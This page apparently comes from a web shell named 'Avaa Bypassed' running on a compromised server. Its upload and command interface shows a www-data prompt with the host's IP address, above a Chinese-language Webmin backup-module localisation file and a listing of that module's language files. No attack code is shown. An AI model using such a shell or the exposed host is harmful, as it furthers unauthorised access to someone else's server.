[ Avaa Bypassed ]




Upload:

Command:

www-data@52.15.179.198: ~ $
index_none2=沒有您有權訪問的文件系統備份配置。
index_restore2=恢復文件系統備份
index_restoremsg2=單擊此按鈕開始選擇要還原的文件系統備份的過程。
index_running=運行備份作業
index_jobs=預定備份
index_start=開始於
index_status=當前狀態
index_status_running=跑步
index_status_tape=等待磁帶
index_action=行動
index_kill=終止
index_newtape=裝入磁帶
index_noact=無可用
index_now=備份 ..
index_follow=$1之後
index_forcetar=TAR格式
index_delete=刪除選定的備份
index_nostrftime=警告-一些備份作業在其文件名中使用%,但是在“模塊配置”頁面上未啟用strftime替換。

dump_dirs=備份目錄
dump_exclude=要跳過的文件和目錄
dump_ehuser2=用戶名不能包含@字符
dump_eblocks=磁帶大小丟失或無效
dump_ebsize=缺少或無效的轉儲記錄塊大小
dump_blocks=膠帶尺寸
dump_bsize=轉儲記錄塊大小
dump_auto=自動鍛煉
dump_honour=始終排除標記的文件?
dump_comp=壓縮數據?
dump_complvl=是的,有水平
dump_ecomp=缺少或無效的壓縮級別
dump_before=備份前運行的命令
dump_after=備份後運行的命令
dump_fok=如果命令失敗則停止
dump_fok2=如果命令失敗則報告失敗
dump_aok=即使備份失敗也跳過命令
dump_extra=額外的命令行參數
dump_rsh=遠程備份命令
dump_rsh0=默認值(RSH)
dump_rsh1=SSH協議
dump_rsh3=的FTP
dump_rsh2=其他命令 ..
dump_pass=SSH登錄密碼
dump_pass2=SSH/FTP登錄密碼
dump_ersh=遠程備份命令缺失或無效
dump_essh=除非系統上安裝了<tt>ssh</tt>命令,否則SSH無法用於遠程備份
dump_ecannot1=您無權創建備份
dump_ecannot2=您無權編輯此備份
dump_ecannot3=您無權備份此目錄
dump_format=備份格式
dump_tar=Unix TAR
dump_dumpfs=$1個文件系統轉儲
dump_gzip=壓縮檔案?
dump_gzip1=是的,使用gzip
dump_gzip2=是的,使用bzip2
dump_gzip3=是的,使用XZ
dump_bcomp=將壓縮數據緩衝到塊中?
dump_xdev=將備份限制為一個文件系統?
dump_update2=只需添加新文件即可存檔?
dump_ignoreread=忽略文件上的讀取錯誤?
dump_notape=如果需要,請提示是否購買新磁帶?
dump_rmt=遠程系統上<tt>rmt</tt>的路徑
dump_links=跟隨符號鏈接?
dump_egzip=gzip壓縮選項與磁帶大小選項不兼容
dump_egzip2=gzip壓縮選項與多文件備份選項不兼容
dump_egzip3=gzip壓縮選項與僅將新文件添加到存檔的選項不兼容
dump_emulti=無法對磁帶設備進行多文件備份
dump_emulti2=無法對遠程服務器進行多文件備份
dump_ermt=<tt>rmt</tt>程序的路徑丟失或無效
dump_reverify=在備份後嘗試測試還原以進行驗證嗎?
dump_remount=在備份過程中使用<tt>noatime</tt>選項重新安裝?
dump_eftpupdate=使用FTP時,無法將文件添加到現有存檔中。
dump_eleveldir=非文件系統掛載點的目錄僅允許0級備份
dump_eupdatedir=<tt>/etc/dumpdates</tt>文件只能針對文件系統掛載點的目錄進行更新

edit_title3=克隆備份
edit_header2=備份時間表
edit_header3=備份選項
edit_enabled_af=在以下時間啟用:
edit_subject=電子郵件主題
edit_restore=恢復 ..
edit_to=$1至 $2
edit_tolevel=$1至 $2(級別 $3)
edit_special=備份時間表
edit_when=何時備份
edit_clone=克隆

backup_reverify=..完成。現在正在驗證備份 ..
backup_beforefailed=..在備份命令失敗之前!
backup_afterfailed=..備份命令失敗後!
backup_done=..備份完成。
backup_failed=..備份失敗!
backup_noverify=.. 驗證失敗!
backup_notape=..備份超出了單個磁帶的容量。僅當備份作為後台進程運行時,才支持更改磁帶。
backup_egone=備份不存在!
backup_bg=開始後台備份過程。您可以在模塊主頁的<b>運行備份作業</b>部分中監視其進度,並且將通過電子郵件將其最終狀態通知給它。
backup_ecannot=您無權備份此目錄

restore_err=還原備份失敗
restore_theader=從Unix TAR文件還原備份
restore_failed2=恢復失敗!參見上面的輸出。
restore_nothing=只是測試備份?
restore_extra=額外的命令行選項
restore_rsh=遠程還原命令
restore_ersh=缺少或無效的遠程還原命令
restore_essh=除非系統上安裝了<tt>ssh</tt>命令,否則SSH無法用於遠程還原
restore_ecannot=您無權還原備份
restore_perms=恢復文件權限?
restore_gzip=解壓縮檔案?
restore_keep=不覆蓋文件嗎?
restore_emulti=無法通過磁帶設備完成多文件還原
restore_emulti2=無法從遠程服務器完成多文件還原

log_bgbackup=已開始將 $1備份到 $2
log_kill=$1的終止備份

kill_err=終止備份失敗
kill_egone=不再運行!
kill_ecannot=您無權終止此備份

newtape_err=無法發出新磁帶信號
newtape_egone=備份不再運行!
newtape_estatus=備份不再等待新的磁帶
newtape_ecannot=您無權管理此備份

acl_edit=可以創建和編輯備份嗎?
acl_restore=可以還原備份嗎?
acl_cmds=可以在命令之前和之後進行編輯嗎?
acl_extra=可以編輯其他命令行參數嗎?
acl_dirs=允許備份的目錄
acl_all=所有目錄
acl_list=只列出 ..

delete_err=刪除備份失敗
delete_enone=未選擇

email_already=備份已經使用PID $1運行。
email_ebefore=備份前命令失敗!
email_verify=驗證備份 ..
email_eafter=備份後命令失敗!
email_subject=在 $2上備份 $1
email_ok=備份成功
email_failed=備份失敗!

newtape_subject=磁帶更改 $1以在 $3上備份 $2
newtape_body=$3上 $2的備份已達到磁帶 $1上允許的最大數據量。您將需要加載新的磁帶,然後單擊Webmin的Filesystem Backup模塊中的“ Tape Loaded”鏈接,備份才能繼續。

Filemanager

Name Type Size Permission Actions
af.auto File 10.98 KB 0644
ar File 68 B 0644
ar.auto File 16.51 KB 0644
be.auto File 20.23 KB 0644
bg.auto File 19.73 KB 0644
ca File 11.71 KB 0644
cs File 11.3 KB 0644
cs.auto File 834 B 0644
da.auto File 11.57 KB 0644
de File 11.76 KB 0644
el.auto File 23.14 KB 0644
en File 10.07 KB 0644
es File 6.47 KB 0644
es.auto File 6.48 KB 0644
eu.auto File 11.76 KB 0644
fa.auto File 17.45 KB 0644
fi.auto File 11.94 KB 0644
fr.auto File 13.31 KB 0644
he.auto File 13.41 KB 0644
hr.auto File 12.39 KB 0644
hu File 9.92 KB 0644
hu.auto File 214 B 0644
it.auto File 11.78 KB 0644
ja File 8.32 KB 0644
ja.auto File 3.67 KB 0644
ko File 10.92 KB 0644
ko.auto File 1.45 KB 0644
lt.auto File 12.46 KB 0644
lv.auto File 11.51 KB 0644
ms.auto File 11.01 KB 0644
mt.auto File 11.57 KB 0644
nl File 11.09 KB 0644
nl.auto File 157 B 0644
no File 12.1 KB 0644
pl File 12 KB 0644
pl.auto File 55 B 0644
pt.auto File 11.79 KB 0644
pt_BR File 11.45 KB 0644
pt_BR.auto File 248 B 0644
ro.auto File 12.77 KB 0644
ru File 8.87 KB 0644
ru.auto File 11.24 KB 0644
sk.auto File 11.88 KB 0644
sl.auto File 12.04 KB 0644
sv.auto File 11.95 KB 0644
th.auto File 23.65 KB 0644
tr.auto File 11.71 KB 0644
uk File 8.69 KB 0644
uk.auto File 11.04 KB 0644
ur.auto File 15.68 KB 0644
vi.auto File 13.24 KB 0644
zh File 3.87 KB 0644
zh.auto File 5.58 KB 0644
zh_TW File 3.74 KB 0644
zh_TW.auto File 5.63 KB 0644